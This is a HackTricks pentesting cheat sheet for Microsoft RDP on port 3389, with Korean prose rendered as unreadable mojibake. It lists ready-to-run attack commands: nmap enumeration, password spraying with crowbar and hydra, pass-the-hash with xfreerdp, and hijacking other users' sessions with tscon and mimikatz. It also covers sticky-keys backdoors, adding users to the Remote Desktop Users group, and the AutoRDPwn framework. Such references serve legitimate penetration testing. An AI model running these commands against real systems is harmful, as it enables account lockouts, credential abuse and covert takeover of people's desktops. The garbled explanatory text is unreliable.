3389 - Pentesting RDP
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Microsoft์์ ๊ฐ๋ฐํ Remote Desktop Protocol (RDP)๋ ๋คํธ์ํฌ๋ฅผ ํตํด ์ปดํจํฐ ๊ฐ์ ๊ทธ๋ํฝ ์ธํฐํ์ด์ค ์ฐ๊ฒฐ์ ๊ฐ๋ฅํ๊ฒ ํ๋๋ก ์ค๊ณ๋์์ต๋๋ค. ์ด๋ฌํ ์ฐ๊ฒฐ์ ์ค์ ํ๊ธฐ ์ํด ์ฌ์ฉ์๋ RDP ํด๋ผ์ด์ธํธ ์ํํธ์จ์ด๋ฅผ ์ฌ์ฉํ๊ณ , ๋์์ ์๊ฒฉ ์ปดํจํฐ๋ RDP ์๋ฒ ์ํํธ์จ์ด๋ฅผ ์ด์ํด์ผ ํฉ๋๋ค. ์ด ์ค์ ์ ์๊ฑฐ๋ฆฌ ์ปดํจํฐ์ ๋ฐ์คํฌํ ํ๊ฒฝ์ ์ํํ๊ฒ ์ ์ดํ๊ณ ์ ๊ทผํ ์ ์๊ฒ ํ์ฌ, ๋ณธ์ง์ ์ผ๋ก ๊ทธ ์ธํฐํ์ด์ค๋ฅผ ์ฌ์ฉ์์ ๋ก์ปฌ ์ฅ์น๋ก ๊ฐ์ ธ์ต๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeration
Automatic
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
์ฌ์ฉ ๊ฐ๋ฅํ ์ํธํ ๋ฐ DoS ์ทจ์ฝ์ฑ์ ํ์ธํ๊ณ (์๋น์ค์ DoS๋ฅผ ์ ๋ฐํ์ง ์์) NTLM Windows ์ ๋ณด(๋ฒ์ )๋ฅผ ์ป์ต๋๋ค.
Brute force
์ฃผ์ํ์ธ์, ๊ณ์ ์ด ์ ๊ธธ ์ ์์ต๋๋ค
Password Spraying
์ฃผ์ํ์ธ์, ๊ณ์ ์ด ์ ๊ธธ ์ ์์ต๋๋ค
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
์๋ ค์ง ์๊ฒฉ ์ฆ๋ช /ํด์๋ก ์ฐ๊ฒฐํ๊ธฐ
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
RDP ์๋น์ค์ ๋ํ ์๋ ค์ง ์๊ฒฉ ์ฆ๋ช ํ์ธ
impacket์ rdp_check.py๋ฅผ ์ฌ์ฉํ๋ฉด ์ผ๋ถ ์๊ฒฉ ์ฆ๋ช ์ด RDP ์๋น์ค์ ๋ํด ์ ํจํ์ง ํ์ธํ ์ ์์ต๋๋ค:
rdp_check <domain>/<name>:<password>@<IP>
๊ณต๊ฒฉ
์ธ์ ํ์ทจ
SYSTEM ๊ถํ์ผ๋ก ์ฌ์ฉ์์ ์ํด ์ด๋ฆฐ ๋ชจ๋ RDP ์ธ์ ์ ์ ๊ทผํ ์ ์์ผ๋ฉฐ, ์์ ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ํ์๊ฐ ์์ต๋๋ค.
์ด๋ฆฐ ์ธ์ ๊ฐ์ ธ์ค๊ธฐ:
query user
์ ํํ ์ธ์ ์ ๋ํ ์ ๊ทผ
tscon <ID> /dest:<SESSIONNAME>
์ด์ ์ ํํ RDP ์ธ์ ์ ๋ค์ด๊ฐ๊ฒ ๋๋ฉฐ, Windows ๋๊ตฌ์ ๊ธฐ๋ฅ๋ง์ ์ฌ์ฉํ์ฌ ์ฌ์ฉ์๋ฅผ ๊ฐ์ฅํ๊ฒ ๋ฉ๋๋ค.
์ค์: ํ์ฑ RDP ์ธ์ ์ ์ ๊ทผํ๋ฉด ํด๋น ์ธ์ ์ ์ฌ์ฉ ์ค์ธ ์ฌ์ฉ์๊ฐ ๊ฐ์ ๋ก ๋ก๊ทธ์์๋ฉ๋๋ค.
ํ๋ก์ธ์ค๋ฅผ ๋คํํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ์ป์ ์ ์์ง๋ง, ์ด ๋ฐฉ๋ฒ์ ํจ์ฌ ๋น ๋ฅด๋ฉฐ ์ฌ์ฉ์์ ๊ฐ์ ๋ฐ์คํฌํ๊ณผ ์ํธ์์ฉํ ์ ์๊ฒ ํด์ค๋๋ค (๋น๋ฐ๋ฒํธ๊ฐ ๋์คํฌ์ ์ ์ฅ๋์ง ์์ ๋ฉ๋ชจ์ฅ, ๋ค๋ฅธ ๋จธ์ ์์ ์ด๋ฆฐ ๋ค๋ฅธ RDP ์ธ์ ๋ฑโฆ).
Mimikatz
์ด ์์ ์ ์ํํ๊ธฐ ์ํด mimikatz๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
์ด ๊ธฐ์ ์ stickykeys ๋๋ utilman๊ณผ ๊ฒฐํฉํ๋ฉด ์ธ์ ๋ ์ง ๊ด๋ฆฌ CMD์ RDP ์ธ์ ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์ด ๊ธฐ์ ์ค ํ๋๋ก ๋ฐฑ๋์ด๊ฐ ์ค์ ๋ RDP๋ฅผ ๊ฒ์ํ ์ ์์ต๋๋ค: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
๋ค๋ฅธ ๋๋ฉ์ธ์์ ๋๋ ๋ ๋์ ๊ถํ์ผ๋ก RDP๋ฅผ ํตํด ๋ก๊ทธ์ธํ ์ฌ์ฉ์๊ฐ ๋น์ ์ด ๊ด๋ฆฌ์์ธ PC์ ์ ์ํ๋ฉด, ๊ทธ์ RDP ์ธ์ ํ๋ก์ธ์ค์ ๋น์ ์ ๋น์ฝ์ ์ฃผ์ ํ๊ณ ๊ทธ์ฒ๋ผ ํ๋ํ ์ ์์ต๋๋ค:
Adding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /add
Automatic Tools
AutoRDPwn๋ Microsoft Windows ์ปดํจํฐ์์ Shadow ๊ณต๊ฒฉ์ ์๋ํํ๊ธฐ ์ํด ์ฃผ๋ก ์ค๊ณ๋ Powershell๋ก ์์ฑ๋ ํฌ์คํธ ์ต์คํ๋ก์ ํ๋ ์์ํฌ์ ๋๋ค. ์ด ์ทจ์ฝ์ (๋ง์ดํฌ๋ก์ํํธ์์ ๊ธฐ๋ฅ์ผ๋ก ๋์ด๋จ)์ ์๊ฒฉ ๊ณต๊ฒฉ์๊ฐ ํผํด์์ ๋ฐ์คํฌํ์ ๊ทธ์ ๋์ ์์ด ๋ณผ ์ ์๊ฒ ํ๋ฉฐ, ์ฌ์ง์ด ์ด์ ์ฒด์ ์์ฒด์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ํ์์ ๋ฐ๋ผ ์ด๋ฅผ ์ ์ดํ ์ ์๊ฒ ํฉ๋๋ค.
-
๋ช ๋ น์ค์์ ์๋ํ๋ ๋ฐฉ์์ผ๋ก ๋ง์ฐ์ค์ ํค๋ณด๋ ์ ์ด
-
๋ช ๋ น์ค์์ ์๋ํ๋ ๋ฐฉ์์ผ๋ก ํด๋ฆฝ๋ณด๋ ์ ์ด
-
RDP๋ฅผ ํตํด ๋์์๊ฒ ๋คํธ์ํฌ ํต์ ์ ์ ๋ฌํ๋ SOCKS ํ๋ก์ ์์ฑ
-
ํ์ผ์ ์ ๋ก๋ํ์ง ์๊ณ ๋ ๋์์์ ์์์ SHELL ๋ฐ PowerShell ๋ช ๋ น ์คํ
-
๋์์์ ํ์ผ ์ ์ก์ด ๋นํ์ฑํ๋์ด ์์ด๋ ๋์๊ณผ ํ์ผ์ ์ ๋ก๋ ๋ฐ ๋ค์ด๋ก๋
์ด ๋๊ตฌ๋ ๊ทธ๋ํฝ ์ธํฐํ์ด์ค๊ฐ ํ์ ์์ด ํผํด์์ RDP์์ ๋ช ๋ น์ ์คํํ ์ ์๊ฒ ํฉ๋๋ค.
HackTricks Automatic Commands
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


